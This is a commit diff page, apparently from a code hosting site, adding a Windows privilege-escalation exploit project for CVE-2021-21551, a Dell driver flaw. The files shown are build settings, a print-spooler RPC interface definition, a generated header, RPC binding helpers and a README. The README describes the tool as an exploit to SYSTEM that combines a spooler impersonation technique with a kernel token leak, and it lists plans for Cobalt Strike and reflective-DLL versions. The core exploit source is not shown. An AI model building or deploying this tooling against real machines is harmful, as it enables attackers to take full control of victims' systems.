     98 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     99 + <ClCompile>
     100 + <WarningLevel>Level3</WarningLevel>
     101 + <FunctionLevelLinking>true</FunctionLevelLinking>
     102 + <IntrinsicFunctions>true</IntrinsicFunctions>
     103 + <SDLCheck>true</SDLCheck>
     104 + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     105 + <ConformanceMode>true</ConformanceMode>
     106 + </ClCompile>
     107 + <Link>
     108 + <SubSystem>Console</SubSystem>
     109 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     110 + <OptimizeReferences>true</OptimizeReferences>
     111 + <GenerateDebugInformation>true</GenerateDebugInformation>
     112 + </Link>
     113 + </ItemDefinitionGroup>
     114 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     115 + <ClCompile>
     116 + <WarningLevel>Level3</WarningLevel>
     117 + <SDLCheck>true</SDLCheck>
     118 + <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     119 + <ConformanceMode>true</ConformanceMode>
     120 + </ClCompile>
     121 + <Link>
     122 + <SubSystem>Console</SubSystem>
     123 + <GenerateDebugInformation>true</GenerateDebugInformation>
     124 + </Link>
     125 + </ItemDefinitionGroup>
     126 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     127 + <ClCompile>
     128 + <WarningLevel>Level3</WarningLevel>
     129 + <FunctionLevelLinking>true</FunctionLevelLinking>
     130 + <IntrinsicFunctions>true</IntrinsicFunctions>
     131 + <SDLCheck>true</SDLCheck>
     132 + <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     133 + <ConformanceMode>true</ConformanceMode>
     134 + <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
     135 + <Optimization>MinSpace</Optimization>
     136 + <WholeProgramOptimization>true</WholeProgramOptimization>
     137 + <BufferSecurityCheck>false</BufferSecurityCheck>
     138 + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     139 + </ClCompile>
     140 + <Link>
     141 + <SubSystem>Console</SubSystem>
     142 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     143 + <OptimizeReferences>true</OptimizeReferences>
     144 + <GenerateDebugInformation>false</GenerateDebugInformation>
     145 + </Link>
     146 + </ItemDefinitionGroup>
     147 + <ItemGroup>
     148 + <ClCompile Include="IWinSpool_c.c" />
     149 + <ClCompile Include="RpcHelpers.c" />
     150 + <ClCompile Include="CVE-2021-21551.cpp" />
     151 + </ItemGroup>
     152 + <ItemGroup>
     153 + <Midl Include="IWinSpool.idl" />
     154 + </ItemGroup>
     155 + <ItemGroup>
     156 + <ClInclude Include="IWinSpool_h.h" />
     157 + </ItemGroup>
     158 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
     159 + <ImportGroup Label="ExtensionTargets">
     160 + </ImportGroup>
     161 +</Project>
  • ■ ■ ■ ■ ■ ■
    CVE-2021-21551.vcxproj.filters
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup>
     4 + <Filter Include="Source Files">
     5 + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
     6 + <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
     7 + </Filter>
     8 + <Filter Include="Header Files">
     9 + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
     10 + <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
     11 + </Filter>
     12 + <Filter Include="Resource Files">
     13 + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
     14 + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
     15 + </Filter>
     16 + <Filter Include="Source Files\RPC">
     17 + <UniqueIdentifier>{7b12c8a2-b32e-4c68-8c89-70334c17af4c}</UniqueIdentifier>
     18 + </Filter>
     19 + </ItemGroup>
     20 + <ItemGroup>
     21 + <ClCompile Include="IWinSpool_c.c">
     22 + <Filter>Source Files\RPC</Filter>
     23 + </ClCompile>
     24 + <ClCompile Include="RpcHelpers.c">
     25 + <Filter>Source Files\RPC</Filter>
     26 + </ClCompile>
     27 + <ClCompile Include="CVE-2021-21551.cpp">
     28 + <Filter>Source Files</Filter>
     29 + </ClCompile>
     30 + </ItemGroup>
     31 + <ItemGroup>
     32 + <Midl Include="IWinSpool.idl">
     33 + <Filter>Source Files\RPC</Filter>
     34 + </Midl>
     35 + </ItemGroup>
     36 + <ItemGroup>
     37 + <ClInclude Include="IWinSpool_h.h">
     38 + <Filter>Header Files</Filter>
     39 + </ClInclude>
     40 + </ItemGroup>
     41 +</Project>
  • ■ ■ ■ ■ ■ ■
    CVE-2021-21551.vcxproj.user
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <PropertyGroup />
     4 +</Project>
  • ■ ■ ■ ■ ■ ■
    IWinSpool.idl
     1 +// https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/ms-rprn.idl
     2 +// [MS-RPRN] interface
     3 +[
     4 + uuid(12345678-1234-ABCD-EF00-0123456789AB),
     5 + version(1.0),
     6 + ms_union,
     7 + endpoint("ncacn_np:[\\pipe\\spoolss]"),
     8 + pointer_default(unique)
     9 +]
     10 + 
     11 +interface winspool {
     12 + 
     13 + import "oaidl.idl";
     14 + 
     15 +#if __midl < 700
     16 +#define disable_consistency_check
     17 +#endif
     18 + // [MS-RPRN] common info container structures
     19 + typedef struct _DEVMODE_CONTAINER {
     20 + DWORD cbBuf;
     21 + [size_is(cbBuf), unique] BYTE* pDevMode;
     22 + } DEVMODE_CONTAINER;
     23 + 
     24 + typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
     25 + unsigned short Type;
     26 + unsigned short Reserved0;
     27 + DWORD Reserved1;
     28 + DWORD Reserved2;
     29 + DWORD Count;
     30 + [size_is(Count), unique] unsigned short* pFields;
     31 + } RPC_V2_NOTIFY_OPTIONS_TYPE;
     32 + 
     33 + typedef struct _RPC_V2_NOTIFY_OPTIONS {
     34 + DWORD Version;
     35 + DWORD Reserved;
     36 + DWORD Count;
     37 + [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
     38 + } RPC_V2_NOTIFY_OPTIONS;
     39 + 
     40 + // [MS-RPRN] common data types
     41 + typedef unsigned short LANGID;
     42 + typedef [context_handle] void* GDI_HANDLE;
     43 + typedef [context_handle] void* PRINTER_HANDLE;
     44 + typedef [handle] wchar_t* STRING_HANDLE;
     45 + 
     46 + // [MS-RPRN] methods
     47 + DWORD RpcEnumPrinters();
     48 + DWORD RpcOpenPrinter(
     49 + [in, string, unique] STRING_HANDLE pPrinterName,
     50 + [out] PRINTER_HANDLE* pHandle,
     51 + [in, string, unique] wchar_t* pDatatype,
     52 + [in] DEVMODE_CONTAINER* pDevModeContainer,
     53 + [in] DWORD AccessRequired
     54 + );
     55 + DWORD RpcSetJob();
     56 + DWORD RpcGetJob();
     57 + DWORD RpcEnumJobs();
     58 + DWORD RpcAddPrinter();
     59 + DWORD RpcDeletePrinter();
     60 + DWORD RpcSetPrinter();
     61 + DWORD RpcGetPrinter();
     62 + DWORD RpcAddPrinterDriver();
     63 + DWORD RpcEnumPrinterDrivers();
     64 + DWORD RpcGetPrinterDriver();
     65 + DWORD RpcGetPrinterDriverDirectory();
     66 + DWORD RpcDeletePrinterDriver();
     67 + DWORD RpcAddPrintProcessor();
     68 + DWORD RpcEnumPrintProcessors();
     69 + DWORD RpcGetPrintProcessorDirectory();
     70 + DWORD RpcStartDocPrinter();
     71 + DWORD RpcStartPagePrinter();
     72 + DWORD RpcWritePrinter();
     73 + DWORD RpcEndPagePrinter();
     74 + DWORD RpcAbortPrinter();
     75 + DWORD RpcReadPrinter();
     76 + DWORD RpcEndDocPrinter();
     77 + DWORD RpcAddJob();
     78 + DWORD RpcScheduleJob();
     79 + DWORD RpcGetPrinterData();
     80 + DWORD RpcSetPrinterData();
     81 + DWORD RpcWaitForPrinterChange();
     82 + DWORD RpcClosePrinter(
     83 + [in, out] PRINTER_HANDLE* phPrinter
     84 + );
     85 + DWORD RpcAddForm();
     86 + DWORD RpcDeleteForm();
     87 + DWORD RpcGetForm();
     88 + DWORD RpcSetForm();
     89 + DWORD RpcEnumForms();
     90 + DWORD RpcEnumPorts();
     91 + DWORD RpcEnumMonitors();
     92 + void Opnum37NotUsedOnWire();
     93 + void Opnum38NotUsedOnWire();
     94 + DWORD RpcDeletePort();
     95 + DWORD RpcCreatePrinterIC();
     96 + DWORD RpcPlayGdiScriptOnPrinterIC();
     97 + DWORD RpcDeletePrinterIC();
     98 + void Opnum43NotUsedOnWire();
     99 + void Opnum44NotUsedOnWire();
     100 + void Opnum45NotUsedOnWire();
     101 + DWORD RpcAddMonitor();
     102 + DWORD RpcDeleteMonitor();
     103 + DWORD RpcDeletePrintProcessor();
     104 + void Opnum49NotUsedOnWire();
     105 + void Opnum50NotUsedOnWire();
     106 + DWORD RpcEnumPrintProcessorDatatypes();
     107 + DWORD RpcResetPrinter();
     108 + DWORD RpcGetPrinterDriver2();
     109 + void Opnum54NotUsedOnWire();
     110 + void Opnum55NotUsedOnWire();
     111 + DWORD RpcFindClosePrinterChangeNotification();
     112 + void Opnum57NotUsedOnWire();
     113 + DWORD RpcReplyOpenPrinter();
     114 + DWORD RpcRouterReplyPrinter();
     115 + DWORD RpcReplyClosePrinter();
     116 + DWORD RpcAddPortEx();
     117 + DWORD RpcRemoteFindFirstPrinterChangeNotification();
     118 + void Opnum63NotUsedOnWire();
     119 + void Opnum64NotUsedOnWire();
     120 + DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
     121 + [in] PRINTER_HANDLE hPrinter,
     122 + [in] DWORD fdwFlags,
     123 + [in] DWORD fdwOptions,
     124 + [in, string, unique] wchar_t* pszLocalMachine,
     125 + [in] DWORD dwPrinterLocal,
     126 + [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
     127 + );
     128 +}
  • IWinSpool_c.c
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    IWinSpool_h.h
     1 + 
     2 + 
     3 +/* this ALWAYS GENERATED file contains the definitions for the interfaces */
     4 + 
     5 + 
     6 + /* File created by MIDL compiler version 8.01.0622 */
     7 +/* at Mon Jan 18 19:14:07 2038
     8 + */
     9 +/* Compiler settings for IWinSpool.idl:
     10 + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
     11 + protocol : all , ms_ext, c_ext, robust
     12 + error checks: allocation ref bounds_check enum stub_data
     13 + VC __declspec() decoration level:
     14 + __declspec(uuid()), __declspec(selectany), __declspec(novtable)
     15 + DECLSPEC_UUID(), MIDL_INTERFACE()
     16 +*/
     17 +/* @@MIDL_FILE_HEADING( ) */
     18 + 
     19 + 
     20 + 
     21 +/* verify that the <rpcndr.h> version is high enough to compile this file*/
     22 +#ifndef __REQUIRED_RPCNDR_H_VERSION__
     23 +#define __REQUIRED_RPCNDR_H_VERSION__ 500
     24 +#endif
     25 + 
     26 +#include "rpc.h"
     27 +#include "rpcndr.h"
     28 + 
     29 +#ifndef __RPCNDR_H_VERSION__
     30 +#error this stub requires an updated version of <rpcndr.h>
     31 +#endif /* __RPCNDR_H_VERSION__ */
     32 + 
     33 + 
     34 +#ifndef __IWinSpool_h_h__
     35 +#define __IWinSpool_h_h__
     36 + 
     37 +#if defined(_MSC_VER) && (_MSC_VER >= 1020)
     38 +#pragma once
     39 +#endif
     40 + 
     41 +/* Forward Declarations */
     42 + 
     43 +/* header files for imported files */
     44 +#include "oaidl.h"
     45 + 
     46 +#ifdef __cplusplus
     47 +extern "C"{
     48 +#endif
     49 + 
     50 + 
     51 +#ifndef __winspool_INTERFACE_DEFINED__
     52 +#define __winspool_INTERFACE_DEFINED__
     53 + 
     54 +/* interface winspool */
     55 +/* [unique][endpoint][ms_union][version][uuid] */
     56 + 
     57 +typedef struct _DEVMODE_CONTAINER
     58 + {
     59 + DWORD cbBuf;
     60 + /* [unique][size_is] */ BYTE *pDevMode;
     61 + } DEVMODE_CONTAINER;
     62 + 
     63 +typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE
     64 + {
     65 + unsigned short Type;
     66 + unsigned short Reserved0;
     67 + DWORD Reserved1;
     68 + DWORD Reserved2;
     69 + DWORD Count;
     70 + /* [unique][size_is] */ unsigned short *pFields;
     71 + } RPC_V2_NOTIFY_OPTIONS_TYPE;
     72 + 
     73 +typedef struct _RPC_V2_NOTIFY_OPTIONS
     74 + {
     75 + DWORD Version;
     76 + DWORD Reserved;
     77 + DWORD Count;
     78 + /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes;
     79 + } RPC_V2_NOTIFY_OPTIONS;
     80 + 
     81 +typedef unsigned short LANGID;
     82 + 
     83 +typedef /* [context_handle] */ void *GDI_HANDLE;
     84 + 
     85 +typedef /* [context_handle] */ void *PRINTER_HANDLE;
     86 + 
     87 +typedef /* [handle] */ wchar_t *STRING_HANDLE;
     88 + 
     89 +DWORD RpcEnumPrinters(
     90 + /* [in] */ handle_t IDL_handle);
     91 + 
     92 +DWORD RpcOpenPrinter(
     93 + /* [unique][string][in] */ STRING_HANDLE pPrinterName,
     94 + /* [out] */ PRINTER_HANDLE *pHandle,
     95 + /* [unique][string][in] */ wchar_t *pDatatype,
     96 + /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,
     97 + /* [in] */ DWORD AccessRequired);
     98 + 
     99 +DWORD RpcSetJob(
     100 + /* [in] */ handle_t IDL_handle);
     101 + 
     102 +DWORD RpcGetJob(
     103 + /* [in] */ handle_t IDL_handle);
     104 + 
     105 +DWORD RpcEnumJobs(
     106 + /* [in] */ handle_t IDL_handle);
     107 + 
     108 +DWORD RpcAddPrinter(
     109 + /* [in] */ handle_t IDL_handle);
     110 + 
     111 +DWORD RpcDeletePrinter(
     112 + /* [in] */ handle_t IDL_handle);
     113 + 
     114 +DWORD RpcSetPrinter(
     115 + /* [in] */ handle_t IDL_handle);
     116 + 
     117 +DWORD RpcGetPrinter(
     118 + /* [in] */ handle_t IDL_handle);
     119 + 
     120 +DWORD RpcAddPrinterDriver(
     121 + /* [in] */ handle_t IDL_handle);
     122 + 
     123 +DWORD RpcEnumPrinterDrivers(
     124 + /* [in] */ handle_t IDL_handle);
     125 + 
     126 +DWORD RpcGetPrinterDriver(
     127 + /* [in] */ handle_t IDL_handle);
     128 + 
     129 +DWORD RpcGetPrinterDriverDirectory(
     130 + /* [in] */ handle_t IDL_handle);
     131 + 
     132 +DWORD RpcDeletePrinterDriver(
     133 + /* [in] */ handle_t IDL_handle);
     134 + 
     135 +DWORD RpcAddPrintProcessor(
     136 + /* [in] */ handle_t IDL_handle);
     137 + 
     138 +DWORD RpcEnumPrintProcessors(
     139 + /* [in] */ handle_t IDL_handle);
     140 + 
     141 +DWORD RpcGetPrintProcessorDirectory(
     142 + /* [in] */ handle_t IDL_handle);
     143 + 
     144 +DWORD RpcStartDocPrinter(
     145 + /* [in] */ handle_t IDL_handle);
     146 + 
     147 +DWORD RpcStartPagePrinter(
     148 + /* [in] */ handle_t IDL_handle);
     149 + 
     150 +DWORD RpcWritePrinter(
     151 + /* [in] */ handle_t IDL_handle);
     152 + 
     153 +DWORD RpcEndPagePrinter(
     154 + /* [in] */ handle_t IDL_handle);
     155 + 
     156 +DWORD RpcAbortPrinter(
     157 + /* [in] */ handle_t IDL_handle);
     158 + 
     159 +DWORD RpcReadPrinter(
     160 + /* [in] */ handle_t IDL_handle);
     161 + 
     162 +DWORD RpcEndDocPrinter(
     163 + /* [in] */ handle_t IDL_handle);
     164 + 
     165 +DWORD RpcAddJob(
     166 + /* [in] */ handle_t IDL_handle);
     167 + 
     168 +DWORD RpcScheduleJob(
     169 + /* [in] */ handle_t IDL_handle);
     170 + 
     171 +DWORD RpcGetPrinterData(
     172 + /* [in] */ handle_t IDL_handle);
     173 + 
     174 +DWORD RpcSetPrinterData(
     175 + /* [in] */ handle_t IDL_handle);
     176 + 
     177 +DWORD RpcWaitForPrinterChange(
     178 + /* [in] */ handle_t IDL_handle);
     179 + 
     180 +DWORD RpcClosePrinter(
     181 + /* [out][in] */ PRINTER_HANDLE *phPrinter);
     182 + 
     183 +DWORD RpcAddForm(
     184 + /* [in] */ handle_t IDL_handle);
     185 + 
     186 +DWORD RpcDeleteForm(
     187 + /* [in] */ handle_t IDL_handle);
     188 + 
     189 +DWORD RpcGetForm(
     190 + /* [in] */ handle_t IDL_handle);
     191 + 
     192 +DWORD RpcSetForm(
     193 + /* [in] */ handle_t IDL_handle);
     194 + 
     195 +DWORD RpcEnumForms(
     196 + /* [in] */ handle_t IDL_handle);
     197 + 
     198 +DWORD RpcEnumPorts(
     199 + /* [in] */ handle_t IDL_handle);
     200 + 
     201 +DWORD RpcEnumMonitors(
     202 + /* [in] */ handle_t IDL_handle);
     203 + 
     204 +void Opnum37NotUsedOnWire(
     205 + /* [in] */ handle_t IDL_handle);
     206 + 
     207 +void Opnum38NotUsedOnWire(
     208 + /* [in] */ handle_t IDL_handle);
     209 + 
     210 +DWORD RpcDeletePort(
     211 + /* [in] */ handle_t IDL_handle);
     212 + 
     213 +DWORD RpcCreatePrinterIC(
     214 + /* [in] */ handle_t IDL_handle);
     215 + 
     216 +DWORD RpcPlayGdiScriptOnPrinterIC(
     217 + /* [in] */ handle_t IDL_handle);
     218 + 
     219 +DWORD RpcDeletePrinterIC(
     220 + /* [in] */ handle_t IDL_handle);
     221 + 
     222 +void Opnum43NotUsedOnWire(
     223 + /* [in] */ handle_t IDL_handle);
     224 + 
     225 +void Opnum44NotUsedOnWire(
     226 + /* [in] */ handle_t IDL_handle);
     227 + 
     228 +void Opnum45NotUsedOnWire(
     229 + /* [in] */ handle_t IDL_handle);
     230 + 
     231 +DWORD RpcAddMonitor(
     232 + /* [in] */ handle_t IDL_handle);
     233 + 
     234 +DWORD RpcDeleteMonitor(
     235 + /* [in] */ handle_t IDL_handle);
     236 + 
     237 +DWORD RpcDeletePrintProcessor(
     238 + /* [in] */ handle_t IDL_handle);
     239 + 
     240 +void Opnum49NotUsedOnWire(
     241 + /* [in] */ handle_t IDL_handle);
     242 + 
     243 +void Opnum50NotUsedOnWire(
     244 + /* [in] */ handle_t IDL_handle);
     245 + 
     246 +DWORD RpcEnumPrintProcessorDatatypes(
     247 + /* [in] */ handle_t IDL_handle);
     248 + 
     249 +DWORD RpcResetPrinter(
     250 + /* [in] */ handle_t IDL_handle);
     251 + 
     252 +DWORD RpcGetPrinterDriver2(
     253 + /* [in] */ handle_t IDL_handle);
     254 + 
     255 +void Opnum54NotUsedOnWire(
     256 + /* [in] */ handle_t IDL_handle);
     257 + 
     258 +void Opnum55NotUsedOnWire(
     259 + /* [in] */ handle_t IDL_handle);
     260 + 
     261 +DWORD RpcFindClosePrinterChangeNotification(
     262 + /* [in] */ handle_t IDL_handle);
     263 + 
     264 +void Opnum57NotUsedOnWire(
     265 + /* [in] */ handle_t IDL_handle);
     266 + 
     267 +DWORD RpcReplyOpenPrinter(
     268 + /* [in] */ handle_t IDL_handle);
     269 + 
     270 +DWORD RpcRouterReplyPrinter(
     271 + /* [in] */ handle_t IDL_handle);
     272 + 
     273 +DWORD RpcReplyClosePrinter(
     274 + /* [in] */ handle_t IDL_handle);
     275 + 
     276 +DWORD RpcAddPortEx(
     277 + /* [in] */ handle_t IDL_handle);
     278 + 
     279 +DWORD RpcRemoteFindFirstPrinterChangeNotification(
     280 + /* [in] */ handle_t IDL_handle);
     281 + 
     282 +void Opnum63NotUsedOnWire(
     283 + /* [in] */ handle_t IDL_handle);
     284 + 
     285 +void Opnum64NotUsedOnWire(
     286 + /* [in] */ handle_t IDL_handle);
     287 + 
     288 +DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
     289 + /* [in] */ PRINTER_HANDLE hPrinter,
     290 + /* [in] */ DWORD fdwFlags,
     291 + /* [in] */ DWORD fdwOptions,
     292 + /* [unique][string][in] */ wchar_t *pszLocalMachine,
     293 + /* [in] */ DWORD dwPrinterLocal,
     294 + /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions);
     295 + 
     296 + 
     297 + 
     298 +extern RPC_IF_HANDLE winspool_v1_0_c_ifspec;
     299 +extern RPC_IF_HANDLE winspool_v1_0_s_ifspec;
     300 +#endif /* __winspool_INTERFACE_DEFINED__ */
     301 + 
     302 +/* Additional Prototypes for ALL interfaces */
     303 + 
     304 +handle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE );
     305 +void __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE, handle_t );
     306 + 
     307 +void __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE );
     308 + 
     309 +/* end of Additional Prototypes */
     310 + 
     311 +#ifdef __cplusplus
     312 +}
     313 +#endif
     314 + 
     315 +#endif
     316 + 
     317 + 
     318 + 
  • IWinSpool_s.c
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # CVE-2021-21551
    2 2  Exploit to SYSTEM for CVE-2021-21551
    3 3   
     4 +SpoolPrinter Privesc using SeImpersonatePrivileges was made thanks to @_ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3_SpoolPotato I basically just tossed the exploit function in his code and altered it ever so barely.
     5 +NtQuerySystemInformation was taken from @Void_Sec https://voidsec.com/exploiting-system-mechanic-driver/ almost blatantly - cannot take ANY credit for how I leaked the Token location.
     6 + 
     7 +All I did was merge the techniques to make a full privesc and toss in the "Fill in the blanks" from https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
     8 +Not much I can take credit for here! But in case you're wondering my twitter is @waldoirc
     9 +This is my first public exploit ever.
     10 + 
     11 +Tested on Windows Versions 1903, 1909, and 2004. Plans to make it work with more incoming. Any other Windows versions with same token offsets will also work. Need to do testing to see which versions of Windows these are.
     12 + 
     13 +Only currently works from medium integrity.
     14 + 
     15 +ADDITIONAL WAYS I WILL IMPLEMENT:
     16 +1. Will make a BoF for Cobalt Strike
     17 +2. Reflective DLL
     18 +3. Use the Read Primitive to steal a System Token and make it work from low integrity as well
     19 +4. Clean it up and make it less noisy by masking current privs ONLY by adding SeImpersonate only using the Read Primitive + a mask of "SeImpersonatePrivilege" : 0x00000001d
     20 +5. Make it dnymically work with all version of windows without hardcoding SE_TOKEN_PRIVILEGES offset
  • ■ ■ ■ ■ ■ ■
    RpcHelpers.c
     1 +#include <Windows.h>
     2 +#include <strsafe.h>
     3 +#include <sddl.h>
     4 +#include <wtsapi32.h>
     5 +#include <stdint.h>
     6 +#include "IWinSpool_h.h"
     7 + 
     8 +////////
     9 +////////
     10 +// RPC helpers
     11 +////////
     12 + 
     13 +handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr) {
     14 + RPC_STATUS RpcStatus;
     15 + RPC_WSTR StringBinding;
     16 + handle_t BindingHandle;
     17 + 
     18 + if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK)
     19 + return NULL;
     20 + 
     21 + RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
     22 + 
     23 + RpcStringFreeW(&StringBinding);
     24 + 
     25 + if (RpcStatus != RPC_S_OK)
     26 + return NULL;
     27 + 
     28 + return BindingHandle;
     29 +}
     30 + 
     31 +void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle) {
     32 + RpcBindingFree(&BindingHandle);
     33 +}
     34 + 
     35 +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) {
     36 + return((void __RPC_FAR*) malloc(cBytes));
     37 +}
     38 + 
     39 +void __RPC_USER midl_user_free(void __RPC_FAR* p) {
     40 + free(p);
     41 +}
Please wait...
Page is in error, reload to recover